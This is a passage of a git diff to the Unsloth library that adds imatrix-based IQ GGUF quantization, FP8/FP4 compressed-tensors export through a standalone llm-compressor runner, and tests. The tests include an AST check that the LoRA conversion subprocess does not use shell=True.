+    reason = "installed unsloth_zoo quantize_gguf has no imatrix kwarg (companion change not landed)",
+)
+
+
+class _Cfg:
+    def __init__(self, name):
+        self._name_or_path = name
+        self.architectures = ["LlamaForCausalLM"]
+
+
+class _Model:
+    def __init__(self, name = "unsloth/Llama-3.1-8B-Instruct"):
+        self.config = _Cfg(name)
+        self.peft_config = {}
+
+
+# -- registry + signatures -----------------------------------------------------------------
+
+
+def test_public_savers_accept_imatrix_file():
+    for fn in (S.unsloth_save_pretrained_gguf, S.unsloth_push_to_hub_gguf):
+        assert "imatrix_file" in inspect.signature(fn).parameters, fn.__name__
+
+
+@_needs_zoo_imatrix
+def test_quantize_gguf_accepts_imatrix():
+    assert "imatrix" in inspect.signature(L.quantize_gguf).parameters
+
+
+def test_imatrix_quants_registry():
+    for q in ("iq2_xxs", "iq4_xs", "iq1_s", "iq3_xxs"):
+        assert q in S.IMATRIX_QUANTS
+        assert q not in S.ALLOWED_QUANTS, f"{q} must be gated, not in the always-on allow-list"
+
+
+# -- _resolve_imatrix_file -----------------------------------------------------------------
+
+
+def test_resolve_none_and_false_return_none(tmp_path):
+    assert S._resolve_imatrix_file(_Model(), None, None, str(tmp_path)) is None
+    assert S._resolve_imatrix_file(_Model(), False, None, str(tmp_path)) is None
+
+
+def test_resolve_bad_type_raises_typeerror(tmp_path):
+    with pytest.raises(TypeError):
+        S._resolve_imatrix_file(_Model(), 123, None, str(tmp_path))
+
+
+def test_resolve_missing_path_raises(tmp_path):
+    with pytest.raises(FileNotFoundError):
+        S._resolve_imatrix_file(_Model(), str(tmp_path / "nope.dat"), None, str(tmp_path))
+
+
+def test_resolve_plain_path_passthrough(tmp_path):
+    dat = tmp_path / "my_imatrix.dat"
+    dat.write_bytes(b"x" * 32)
+    assert S._resolve_imatrix_file(_Model(), str(dat), None, str(tmp_path)) == str(dat)
+
+
+def test_resolve_gguf_file_is_renamed_to_gguf(tmp_path):
+    src = tmp_path / "imatrix_unsloth.gguf_file"
+    src.write_bytes(b"x" * 32)
+    dest = tmp_path / "export"
+    out = S._resolve_imatrix_file(_Model(), str(src), None, str(dest))
+    assert out.endswith(".gguf") and not out.endswith(".gguf_file")
+    assert os.path.isfile(out)
+
+
+# -- repo derivation -----------------------------------------------------------------------
+
+
+def test_repo_candidates_appends_gguf():
+    repos = S._gguf_repo_candidates(_Model("unsloth/Llama-3.1-8B-Instruct"))
+    assert "unsloth/Llama-3.1-8B-Instruct-GGUF" in repos
+
+
+def test_repo_candidates_maps_official_base_to_unsloth_org():
+    # The upstream imatrix only lives in unsloth/<base>-GGUF, so an official base id must map onto
+    # the unsloth org rather than deriving a non-existent meta-llama/...-GGUF repo.
+    repos = S._gguf_repo_candidates(_Model("meta-llama/Llama-3.1-8B-Instruct"))
+    assert "unsloth/Llama-3.1-8B-Instruct-GGUF" in repos
+    assert not any(r.startswith("meta-llama/") for r in repos)
+
+
+def test_repo_candidates_keeps_existing_gguf_suffix():
+    repos = S._gguf_repo_candidates(_Model("unsloth/Qwen3.6-35B-A3B-GGUF"))
+    assert repos == ["unsloth/Qwen3.6-35B-A3B-GGUF"]
+
+
+def test_repo_candidates_skips_local_dirs(tmp_path):
+    assert S._gguf_repo_candidates(_Model(str(tmp_path))) == []
+
+
+# -- True: auto-download (mocked Hub) ------------------------------------------------------
+
+
+class _FakeApi:
+    def __init__(self, files, **kw):
+        self._files = files
+
+    def list_repo_files(self, repo_id):
+        return list(self._files.get(repo_id, []))
+
+
+def _patch_hub(monkeypatch, files, downloaded_dir):
+    # HfApi is the module-level name in unsloth.save; hf_hub_download is imported locally inside
+    # the helper, so patch it on huggingface_hub. Both must be patched to stay fully offline.
+    monkeypatch.setattr(S, "HfApi", lambda **kw: _FakeApi(files))
+
+    def _fake_download(
+        repo_id,
+        filename,
+        token = None,
+        **kw,
+    ):
+        os.makedirs(downloaded_dir, exist_ok = True)
+        path = os.path.join(downloaded_dir, filename)
+        with open(path, "wb") as f:
+            f.write(b"imatrix-bytes")
+        return path
+
+    import huggingface_hub
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _fake_download)
+
+
+def test_resolve_true_prefers_dat(monkeypatch, tmp_path):
+    cache = tmp_path / "cache"
+    files = {
+        "unsloth/Llama-3.1-8B-Instruct-GGUF": [
+            "imatrix_unsloth.dat",
+            "imatrix_unsloth.gguf_file",
+            "model.Q4_K_M.gguf",
+        ]
+    }
+    _patch_hub(monkeypatch, files, str(cache))
+    out = S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert os.path.basename(out) == "imatrix_unsloth.dat"
+    # downloaded into the caller dest, not left only in the (fake) cache
+    assert os.path.dirname(out) == str(tmp_path / "dest")
+
+
+def test_resolve_true_downloads_gguf_file_and_renames(monkeypatch, tmp_path):
+    cache = tmp_path / "cache"
+    files = {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["imatrix_unsloth.gguf_file"]}
+    _patch_hub(monkeypatch, files, str(cache))
+    out = S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert os.path.basename(out) == "imatrix_unsloth.gguf"
+
+
+def test_resolve_true_missing_raises(monkeypatch, tmp_path):
+    _patch_hub(
+        monkeypatch, {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["model.Q4_K_M.gguf"]}, str(tmp_path)
+    )
+    with pytest.raises(RuntimeError) as e:
+        S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert "imatrix" in str(e.value).lower()
+
+
+# -- IQ gate in save_to_gguf ---------------------------------------------------------------
+
+
+def test_iq_quant_without_imatrix_is_rejected():
+    with pytest.raises(RuntimeError) as e:
+        S.save_to_gguf(
+            model_name = "m",
+            model_type = "llama",
+            model_dtype = "float16",
+            quantization_method = "iq2_xxs",
+            imatrix = None,
+        )
+    assert "imatrix" in str(e.value).lower()
+
+
+def test_unknown_quant_is_rejected():
+    with pytest.raises(RuntimeError):
+        S.save_to_gguf(
+            model_name = "m",
+            model_type = "llama",
+            model_dtype = "float16",
+            quantization_method = "totally_bogus",
+            imatrix = None,
+        )
+
+
+# -- --imatrix actually reaches llama-quantize ---------------------------------------------
+
+
+@_needs_zoo_imatrix
+def test_quantize_gguf_emits_imatrix_flag(monkeypatch, tmp_path):
+    captured = {}
+
+    def _fake_run(command, *a, **kw):
+        captured["command"] = command
+        # llama-quantize would write the output; emulate so the existence check passes.
+        out = command.split()[-2] if False else None
+        # output_gguf is the 2nd-to-last token before quant_type/threads; just create it.
+        with open(tmp_path / "out.gguf", "wb") as f:
+            f.write(b"GGUF")
+
+        class R:
+            returncode = 0
+            stdout = ""
+
+        return R()
+
+    import shlex
+
+    monkeypatch.setattr(L.subprocess, "run", _fake_run)
+    imat = str(tmp_path / "imatrix it.dat")  # space in path -> must be shell-quoted
+    with open(imat, "wb") as f:  # quantize_gguf validates the imatrix exists before running
+        f.write(b"\x00")
+    L.quantize_gguf(
+        input_gguf = str(tmp_path / "in.gguf"),
+        output_gguf = str(tmp_path / "out.gguf"),
+        quant_type = "iq4_xs",
+        quantizer_location = "llama-quantize",
+        n_threads = 4,
+        imatrix = imat,
+        print_output = False,
+    )
+    cmd = captured["command"]
+    assert "--imatrix" in cmd
+    assert "iq4_xs" in cmd
+    # the path with a space must appear shell-quoted (shlex.quote), never bare
+    assert f"--imatrix {shlex.quote(imat)}" in cmd
+
+
+def test_quantize_gguf_no_imatrix_has_no_flag(monkeypatch, tmp_path):
+    captured = {}
+
+    def _fake_run(command, *a, **kw):
+        captured["command"] = command
+        with open(tmp_path / "out.gguf", "wb") as f:
+            f.write(b"GGUF")
+
+        class R:
+            returncode = 0
+            stdout = ""
+
+        return R()
+
+    monkeypatch.setattr(L.subprocess, "run", _fake_run)
+    L.quantize_gguf(
+        input_gguf = str(tmp_path / "in.gguf"),
+        output_gguf = str(tmp_path / "out.gguf"),
+        quant_type = "q4_k_m",
+        quantizer_location = "llama-quantize",
+        n_threads = 4,
+        print_output = False,
+    )
+    assert "--imatrix" not in captured["command"]
diff --git a/tests/saving/test_save_shell_injection.py b/tests/saving/test_save_shell_injection.py
index b02748c250..5f55137771 100644
--- a/tests/saving/test_save_shell_injection.py
+++ b/tests/saving/test_save_shell_injection.py
@@ -7,63 +7,83 @@ from pathlib import Path
 SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
 
 
-def _function_calls(source: str, function_name: str) -> list[ast.Call]:
+def _get_function(source: str, function_name: str) -> ast.FunctionDef:
     tree = ast.parse(source, filename = str(SAVE_PY))
     for node in tree.body:
         if isinstance(node, ast.FunctionDef) and node.name == function_name:
-            return [child for child in ast.walk(node) if isinstance(child, ast.Call)]
+            return node
     raise AssertionError(f"Function {function_name} not found in save.py")
 
 
-def _assert_safe_ggml_calls(calls: list[ast.Call]) -> None:
-    popen_calls = []
-    for call in calls:
-        if isinstance(call.func, ast.Attribute) and call.func.attr == "Popen":
-            if isinstance(call.func.value, ast.Name) and call.func.value.id == "subprocess":
-                popen_calls.append(call)
+def _popen_calls(node: ast.AST) -> list[ast.Call]:
+    calls = []
+    for child in ast.walk(node):
+        if (
+            isinstance(child, ast.Call)
+            and isinstance(child.func, ast.Attribute)
+            and child.func.attr == "Popen"
+            and isinstance(child.func.value, ast.Name)
+            and child.func.value.id == "subprocess"
+        ):
+            calls.append(child)
+    return calls
 
-    assert popen_calls, "Expected at least one subprocess.Popen call"
 
-    ggml_calls = []
+def _list_assignments(node: ast.AST, target: str) -> list[ast.List]:
+    lists = []
+    for child in ast.walk(node):
+        if isinstance(child, ast.Assign) and isinstance(child.value, ast.List):
+            if any(isinstance(t, ast.Name) and t.id == target for t in child.targets):
+                lists.append(child.value)
+    return lists
+
+
+def test_lora_gguf_conversion_does_not_use_shell() -> None:
+    """The LoRA -> GGUF conversion must pass argv as a list (no shell=True), so a crafted
+    save path cannot inject shell commands. The conversion lives in the shared helper now."""
+    helper = _get_function(SAVE_PY.read_text(encoding = "utf-8"), "_unsloth_save_lora_gguf")
+    popen_calls = _popen_calls(helper)
+    assert popen_calls, "Expected at least one subprocess.Popen call in _unsloth_save_lora_gguf"
+
     for call in popen_calls:
-        if not call.args:
-            continue
-        argv = call.args[0]
-        if isinstance(argv, ast.List) and len(argv.elts) >= 2:
-            second_arg = argv.elts[1]
-            if (
-                isinstance(second_arg, ast.Constant)
-                and second_arg.value == "llama.cpp/convert-lora-to-ggml.py"
-            ):
-                ggml_calls.append(call)
-
-    assert ggml_calls, "Expected the GGML conversion subprocess call"
-
-    for call in ggml_calls:
-        shell_kwargs = [
-            keyword
-            for keyword in call.keywords
-            if keyword.arg == "shell"
-            and isinstance(keyword.value, ast.Constant)
-            and keyword.value.value is True
+        shell = [
+            kw
+            for kw in call.keywords
+            if kw.arg == "shell" and isinstance(kw.value, ast.Constant) and kw.value.value is True
         ]
-        assert not shell_kwargs, "subprocess.Popen must not use shell=True"
+        assert not shell, "subprocess.Popen must not use shell=True"
 
         assert call.args, "subprocess.Popen must receive argv as a positional argument"
         argv = call.args[0]
-        assert isinstance(argv, ast.List), "subprocess.Popen must be called with an argv list"
-        assert len(argv.elts) == 5, "GGML conversion argv should have five elements"
+        if isinstance(argv, ast.List):
+            elts = argv.elts
+        else:
+            # argv is built as a list variable (cmd = [...]) and passed positionally.
+            assert isinstance(argv, ast.Name), "argv must be a list or a list-built variable"
+            assigned = _list_assignments(helper, argv.id)
+            assert assigned, f"argv variable '{argv.id}' must be assigned a list literal"
+            elts = assigned[0].elts
 
-        second_arg = argv.elts[1]
-        assert isinstance(second_arg, ast.Constant)
-        assert second_arg.value == "llama.cpp/convert-lora-to-ggml.py"
+        assert len(elts) >= 2, "argv must include the interpreter and the converter script"
+        first = elts[0]
+        assert (
+            isinstance(first, ast.Attribute) and first.attr == "executable"
+        ), "argv[0] should be sys.executable, not a shell string"
 
 
-def test_ggml_conversion_paths_do_not_use_shell() -> None:
+def test_legacy_ggml_wrappers_delegate_safely() -> None:
+    """The legacy ggml entry points must delegate to the shared helper and not build their
+    own subprocess invocation."""
     source = SAVE_PY.read_text(encoding = "utf-8")
     for function_name in (
         "unsloth_convert_lora_to_ggml_and_push_to_hub",
         "unsloth_convert_lora_to_ggml_and_save_locally",
     ):
-        calls = _function_calls(source, function_name)
-        _assert_safe_ggml_calls(calls)
+        node = _get_function(source, function_name)
+        calls = [c for c in ast.walk(node) if isinstance(c, ast.Call)]
+        assert any(
+            isinstance(c.func, ast.Name) and c.func.id == "_unsloth_save_lora_gguf" for c in calls
+        ), f"{function_name} should delegate to _unsloth_save_lora_gguf"
+        assert not _popen_calls(
+            node
+        ), f"{function_name} should not call subprocess.Popen directly anymore"
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
new file mode 100644
index 0000000000..66ebdd75da
--- /dev/null
+++ b/unsloth/_compressed_quantize.py
@@ -0,0 +1,347 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Standalone llm-compressor runner for Unsloth's FP8/FP4 export.
+
+Launched as a subprocess by file path (not `python -m`) so the Unsloth package, which patches
+transformers attention, is not imported here; llm-compressor needs an unpatched forward for
+calibration (e.g. NVFP4). Reads a merged 16bit checkpoint, writes a compressed-tensors one.
+"""
+
+import argparse
+import glob
+import json
+import os
+import sys
+
+
+def _is_moe(config):
+    """True if the model config looks like a sparse Mixture-of-Experts model."""
+    if config is None:
+        return False
+    for cfg in (config, getattr(config, "text_config", None)):
+        if cfg is None:
+            continue
+        for attr in ("num_experts", "num_local_experts", "n_routed_experts", "moe_num_experts"):
+            v = getattr(cfg, attr, None)
+            if isinstance(v, int) and v > 1:
+                return True
+    return "moe" in (getattr(config, "model_type", "") or "").lower()
+
+
+def _has_mtp(config):
+    """True if the model carries MTP / speculative-decoding layers (e.g. Qwen3-Next, DeepSeek)."""
+    if config is None:
+        return False
+    mt = (getattr(config, "model_type", "") or "").lower()
+    if "qwen3_next" in mt or "mtp" in mt:
+        return True
+    for attr in ("num_nextn_predict_layers", "num_mtp_layers", "mtp_num_layers"):
+        v = getattr(config, attr, None)
+        if isinstance(v, int) and v > 0:
+            return True
+    return False
+
+
+def _build_calibration_dataset(tokenizer, kind, value, num_samples, max_seq_length):
+    from datasets import DatasetDict, load_dataset, load_from_disk
+
+    _tok = tokenizer.tokenizer if hasattr(tokenizer, "tokenizer") else tokenizer
+
+    if kind == "none":
+        print(
+            f"Unsloth: NVFP4 needs calibration data. Defaulting to {num_samples} samples of "
+            "HuggingFaceH4/ultrachat_200k. For best accuracy pass your own training data via "
+            "`calibration_dataset=...`.",
+            flush = True,
+        )
+        ds = load_dataset("HuggingFaceH4/ultrachat_200k", split = f"train_sft[:{num_samples}]")
+        ds = ds.shuffle(seed = 42)
+    elif kind == "hfid":
+        # Not every dataset has a "train" split (e.g. train_sft only); fall back to the first one.
+        try:
+            ds = load_dataset(value, split = f"train[:{num_samples}]")
+        except (ValueError, KeyError):
+            from datasets import get_dataset_split_names
+            try:
+                # Resolve the first split name so only num_samples rows are fetched, instead of
+                # downloading/materializing the whole dataset just to take a small slice.
+                split = get_dataset_split_names(value)[0]
+                ds = load_dataset(value, split = f"{split}[:{num_samples}]")
+            except Exception:
+                # Last resort: materialize, then subselect (preserves the original behavior).
+                ds = load_dataset(value)
+                if isinstance(ds, DatasetDict):
+                    ds = ds[next(iter(ds.keys()))]
+                if num_samples and len(ds) > num_samples:
+                    ds = ds.select(range(num_samples))
+        ds = ds.shuffle(seed = 42)
+    elif kind == "disk":
+        ds = load_from_disk(value)
+        if isinstance(ds, DatasetDict):
+            if "train" in ds:
+                ds = ds["train"]
+            elif len(ds) == 1:
+                ds = next(iter(ds.values()))
+            else:
+                raise RuntimeError(
+                    "Unsloth: disk calibration_dataset is a DatasetDict with multiple splits; "
+                    "pass a single split, e.g. calibration_dataset=dataset['train']."
+                )
+        if num_samples and len(ds) > num_samples:
+            ds = ds.shuffle(seed = 42).select(range(num_samples))
+    else:
+        raise ValueError(f"Unknown calibration-dataset-kind: {kind}")
+
+    try:
+        if len(ds) == 0:
+            raise RuntimeError(
+                "Unsloth: the calibration dataset is empty after loading/subsampling; "
+                "pass a non-empty calibration_dataset."
+            )
+    except TypeError:
+        pass  # streaming / iterable datasets have no len(); let llm-compressor handle them
+
+    cols = set(ds.column_names)
+    if "input_ids" in cols:
+        # Drop non-model-input columns (e.g. a leftover 'messages' list) so llm-compressor's
+        # collator does not try to batch them.
+        keep = {"input_ids", "attention_mask", "labels", "position_ids"}
+        extra = [c for c in ds.column_names if c not in keep]
+        if extra:
+            ds = ds.remove_columns(extra)
+        return ds
+    if "messages" in cols:
+        # Base / non-chat tokenizers have no chat template; concatenate message contents instead
+        # of calling apply_chat_template (which would raise).
+        has_chat_template = bool(getattr(_tok, "chat_template", None))
+
+        def _content_to_text(content):
+            # content may be a str, None, or a multimodal list of parts (str or {"text": ...}).
+            if content is None:
+                return ""
+            if isinstance(content, str):
+                return content
+            if isinstance(content, (list, tuple)):
+                parts = []
+                for part in content:
+                    if isinstance(part, str):
+                        parts.append(part)
+                    elif isinstance(part, dict):
+                        text = part.get("text") or part.get("content")
+                        if isinstance(text, str):
+                            parts.append(text)
+                return " ".join(parts)
+            return str(content)
+
+        def _prep(ex):
+            msgs = ex["messages"] or []
+            if has_chat_template:
+                return {"text": _tok.apply_chat_template(msgs, tokenize = False)}
+            return {"text": "\n".join(_content_to_text(m.get("content")) for m in msgs)}
+
+        ds = ds.map(_prep)
+    elif "text" not in cols:
+        raise RuntimeError(
+            "Unsloth: calibration_dataset must contain a 'messages', 'text', or 'input_ids' "
+            f"column (got: {sorted(cols)})."
+        )
+
+    def _tokenize(sample):
+        return _tok(
+            sample["text"],
+            padding = False,
+            max_length = max_seq_length,
+            truncation = True,
+            add_special_tokens = False,
+        )
+
+    return ds.map(_tokenize, remove_columns = ds.column_names)
+
+
+def _from_pretrained(auto_model, model_path, trust_remote_code):
+    import torch
+
+    # transformers renamed torch_dtype -> dtype; support both.
+    try:
+        return auto_model.from_pretrained(
+            model_path,
+            device_map = "auto",
+            low_cpu_mem_usage = True,
+            trust_remote_code = trust_remote_code,
+            dtype = torch.bfloat16,
+        )
+    except TypeError:
+        return auto_model.from_pretrained(
+            model_path,
+            device_map = "auto",
+            low_cpu_mem_usage = True,
+            trust_remote_code = trust_remote_code,
+            torch_dtype = torch.bfloat16,
+        )
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--model", required = True, help = "merged 16bit HF checkpoint dir")
+    ap.add_argument("--scheme", required = True)
+    ap.add_argument("--out", required = True)
+    ap.add_argument("--needs-calibration", action = "store_true")
+    ap.add_argument("--calibration-dataset-kind", default = "none", choices = ["none", "hfid", "disk"])
+    ap.add_argument("--calibration-dataset", default = "")
+    ap.add_argument("--num-calibration-samples", type = int, default = 512)
+    ap.add_argument("--max-seq-length", type = int, default = 2048)
+    ap.add_argument("--is-vlm", action = "store_true")
+    ap.add_argument("--trust-remote-code", action = "store_true")
+    ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards")
+    args = ap.parse_args()
+
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+    from llmcompressor import oneshot
+    from llmcompressor.modifiers.quantization import QuantizationModifier
+
+    # Import the VLM auto-class only when needed - some transformers versions lack it, and the
+    # text path must not fail just because that newer class is unavailable.
+    if args.is_vlm:
+        from transformers import AutoProcessor
+        try:
+            from transformers import AutoModelForImageTextToText as _VLMModel
+        except ImportError:
+            try:
+                from transformers import AutoModelForVision2Seq as _VLMModel
+            except ImportError as e:
+                raise RuntimeError(
+                    "Unsloth: this transformers version has no VLM auto-model class for "
+                    "compressed multimodal export. Please upgrade transformers."
+                ) from e
+        auto_model, auto_proc = _VLMModel, AutoProcessor
+    else:
+        auto_model, auto_proc = AutoModelForCausalLM, AutoTokenizer
+
+    model = _from_pretrained(auto_model, args.model, args.trust_remote_code)
+    model.eval()
+    # A tokenizer may be absent if the caller saved it separately; only calibration needs one.
+    try:
+        tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code)
+    except Exception:
+        if args.needs_calibration:
+            raise RuntimeError(
+                f"Unsloth: calibration export needs a tokenizer but none was found in {args.model}. "
+                "Pass tokenizer=... to save_pretrained_merged."
+            )
+        tokenizer = None
+
+    # MoE models: keep the router/gate unquantized (it decides expert routing) and calibrate every
+    # expert even if the sample set does not route tokens to all of them.
+    is_moe = _is_moe(getattr(model, "config", None))
+    ignore = ["lm_head"]
+    if is_moe:
+        # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate.
+        ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"]
+    moe_kwargs = {"moe_calibrate_all_experts": True} if is_moe else {}
+
+    def _make_recipe():
+        return QuantizationModifier(targets = "Linear", scheme = args.scheme, ignore = ignore)
+
+    if args.needs_calibration:
+        ds = _build_calibration_dataset(
+            tokenizer,
+            args.calibration_dataset_kind,
+            args.calibration_dataset,
+            args.num_calibration_samples,
+            args.max_seq_length,
+        )
+        # Use the sequential pipeline: it onloads layer-by-layer, so models that do not fit in
+        # memory at once can still calibrate. Running here in a clean process (Unsloth's attention
+        # patches are absent) means tracing works; fall back to the memory-hungry "basic" pipeline
+        # only if tracing fails.
+        try:
+            oneshot(
+                model = model,
+                dataset = ds,
+                recipe = _make_recipe(),
+                max_seq_length = args.max_seq_length,
+                num_calibration_samples = args.num_calibration_samples,
+                pipeline = "sequential",
+                **moe_kwargs,
+            )
+        except Exception as e:
+            print(
+                f"Unsloth: sequential calibration pipeline failed ({type(e).__name__}: {e}); "
+                "retrying with the 'basic' pipeline (needs the full model to fit in memory).",
+                flush = True,
+            )
+            # Free the partially-processed model before loading a fresh copy, so the fallback does
+            # not transiently hold two copies on GPU. llm-compressor keeps the model in a global
+            # session after a failed run, so reset it first; also drop the traceback frames (e) and
+            # the local reference that pin the model.
+            import gc as _gc
+            import torch as _torch
+
+            try:
+                from llmcompressor.core import reset_session
+                reset_session()
+            except Exception:
+                pass
+            e = None
+            del model
+            _gc.collect()
+            if _torch.cuda.is_available():
+                _torch.cuda.empty_cache()
+            model = _from_pretrained(auto_model, args.model, args.trust_remote_code)
+            model.eval()
+            oneshot(
+                model = model,
+                dataset = ds,
+                recipe = _make_recipe(),
+                max_seq_length = args.max_seq_length,
+                num_calibration_samples = args.num_calibration_samples,
+                pipeline = "basic",
+                **moe_kwargs,
+            )
+    else:
+        oneshot(model = model, recipe = _make_recipe())
+
+    os.makedirs(args.out, exist_ok = True)
+    save_kwargs = {"variant": args.variant} if args.variant else {}
+    model.save_pretrained(args.out, save_compressed = True, **save_kwargs)
+    if tokenizer is not None:
+        tokenizer.save_pretrained(args.out)
+
+    if _has_mtp(getattr(model, "config", None)):
+        print(
+            "Unsloth: WARNING - this model has MTP / speculative-decoding tensors that are not "
+            "included in the compressed export (only the main model is quantized and saved). Use "
+            "the non-compressed save path if you need the MTP weights.",
+            flush = True,
+        )
+
+    cfg_path = os.path.join(args.out, "config.json")
+    cfg = {}
+    if os.path.exists(cfg_path):
+        with open(cfg_path, "r", encoding = "utf-8") as f:
+            cfg = json.load(f)
+    if "quantization_config" not in cfg:
+        print(f"Unsloth: ERROR - no quantization_config written to {cfg_path}", flush = True)
+        sys.exit(2)
+    shards = glob.glob(os.path.join(args.out, "*.safetensors"))
+    qfmt = cfg["quantization_config"].get("format")
+    print(
+        f"[compressed-quantize] OK scheme={args.scheme} format={qfmt} "
+        f"shards={len(shards)} -> {args.out}",
+        flush = True,
+    )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/unsloth/save.py b/unsloth/save.py
index 20a934538c..76bc6aa733 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -135,12 +135,25 @@ ALLOWED_QUANTS = {
     "q5_1": "Even higher accuracy, resource usage and slower inference.",
     "q5_k_s": "Uses Q5_K for all tensors",
     "q6_k": "Uses Q8_K for all tensors",
-    # "iq2_xxs" : "2.06 bpw quantization", # Not supported sadly
-    # "iq2_xs"  : "2.31 bpw quantization",
-    # "iq3_xxs" : "3.06 bpw quantization",
     "q3_k_xs": "3-bit extra small quantization",
 }
 
+# IQ (importance-matrix) quants. llama.cpp refuses these without an imatrix, so they are only
+# accepted when imatrix_file=... is supplied to save_pretrained_gguf / push_to_hub_gguf.
+IMATRIX_QUANTS = {
+    "iq1_s": "1.56 bpw. Smallest, lowest quality. Needs an imatrix.",
+    "iq1_m": "1.75 bpw. Very small. Needs an imatrix.",
+    "iq2_xxs": "2.06 bpw. Needs an imatrix.",
+    "iq2_xs": "2.31 bpw. Needs an imatrix.",
+    "iq2_s": "2.5 bpw. Needs an imatrix.",
+    "iq2_m": "2.7 bpw. Needs an imatrix.",
+    "iq3_xxs": "3.06 bpw. Needs an imatrix.",
+    "iq3_s": "3.44 bpw. Needs an imatrix.",
+    "iq3_m": "3.66 bpw. Needs an imatrix.",
+    "iq4_nl": "4.5 bpw non-linear. Benefits from an imatrix.",
+    "iq4_xs": "4.25 bpw. Benefits from an imatrix.",
+}
+
 
 def has_curl():
     return shutil.which("curl") is not None
@@ -149,6 +162,70 @@ def has_curl():
 CURL_FLAG = "-DLLAMA_CURL=ON" if has_curl() else "-DLLAMA_CURL=OFF"
 
 
+# FP8/FP4 compressed export via llm-compressor (for vLLM).
+# save_method alias -> (llm-compressor scheme, needs_calibration, output dir suffix).
+# alias -> (llm-compressor scheme, needs_calibration, output-dir suffix). needs_calibration is
+# True only for schemes with static activation scales (FP8 static, NVFP4); everything else is
+# weight-only or dynamic-activation and runs data-free. Unsupported schemes in the installed
+# compressed-tensors (e.g. MXFP8 on older stacks) are gated by _scheme_is_available at runtime.
+COMPRESSED_EXPORT_SCHEMES = {
+    # FP8
+    "fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "fp8_dynamic": ("FP8_DYNAMIC", False, "fp8"),
+    "dynamic_fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "w8a8_fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "fp8_static": ("FP8", True, "fp8-static"),
+    "static_fp8": ("FP8", True, "fp8-static"),
+    "fp8_block": ("FP8_BLOCK", False, "fp8-block"),
+    "block_fp8": ("FP8_BLOCK", False, "fp8-block"),
+    # INT8 / INT-weight
+    "int8": ("INT8", False, "int8"),
+    "w8a8": ("W8A8", False, "w8a8"),
+    "w8a8_int8": ("W8A8", False, "w8a8"),
+    "w8a16": ("W8A16", False, "w8a16"),
+    "int8_weight": ("W8A16", False, "w8a16"),
+    "w4a16": ("W4A16", False, "w4a16"),
+    "int4": ("W4A16", False, "w4a16"),
+    "int4_weight": ("W4A16", False, "w4a16"),
+    "w4a16_asym": ("W4A16_ASYM", False, "w4a16-asym"),
+    "w4a8": ("W4A8", False, "w4a8"),
+    "w4afp8": ("W4AFP8", False, "w4afp8"),
+    # MXFP (microscaling)
+    "mxfp8": ("MXFP8", False, "mxfp8"),
+    "w8a8_mxfp8": ("MXFP8", False, "mxfp8"),
+    "mxfp4": ("MXFP4", False, "mxfp4"),
+    "w4a4_mxfp4": ("MXFP4", False, "mxfp4"),
+    "mxfp4a16": ("MXFP4A16", False, "mxfp4a16"),
+    "w4a16_mxfp4": ("MXFP4A16", False, "mxfp4a16"),
+    # NVFP4
+    "nvfp4": ("NVFP4", True, "nvfp4"),
+    "w4a4_nvfp4": ("NVFP4", True, "nvfp4"),
+    "nvfp4a16": ("NVFP4A16", False, "nvfp4a16"),
+    "w4a16_nvfp4": ("NVFP4A16", False, "nvfp4a16"),
+}
+
+
+def _normalize_compressed_method(save_method):
+    """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
+    export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
+
+    Near-miss FP8/FP4 names that are not supported raise a precise error instead of silently
+    falling through to the generic "unknown save_method" message.
+    """
+    if not isinstance(save_method, str):
+        return None
+    key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    if key in COMPRESSED_EXPORT_SCHEMES:
+        return COMPRESSED_EXPORT_SCHEMES[key]
+    if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")):
+        supported = ", ".join(sorted(COMPRESSED_EXPORT_SCHEMES.keys()))
+        raise RuntimeError(
+            f"Unsloth: save_method='{save_method}' is not a supported compressed export.\n"
+            f"Supported compressed-tensors export methods: {supported}"
+        )
+    return None
+
+
 def _is_cmake_only_llama_cpp(llama_cpp_dir: str = "llama.cpp") -> bool:
     """
     True if llama.cpp's Makefile is the post-CMake-migration deprecation stub,
@@ -175,6 +252,17 @@ def _is_cmake_only_llama_cpp(llama_cpp_dir: str = "llama.cpp") -> bool:
 def print_quantization_methods():
     for key, value in ALLOWED_QUANTS.items():
         print(f'"{key}"  ==> {value}')
+    print("\nIQ low-bit quants (save_pretrained_gguf(..., imatrix_file=True or '...path')):")
+    for key, value in IMATRIX_QUANTS.items():
+        print(f'"{key}"  ==> {value}')
+    print("\nCompressed-tensors export (save_pretrained_merged(..., save_method=...), for vLLM):")
+    seen = set()
+    for key, (scheme, needs_calib, _suffix) in COMPRESSED_EXPORT_SCHEMES.items():
+        if scheme in seen:
+            continue
+        seen.add(scheme)
+        note = "needs calibration data" if needs_calib else "data-free"
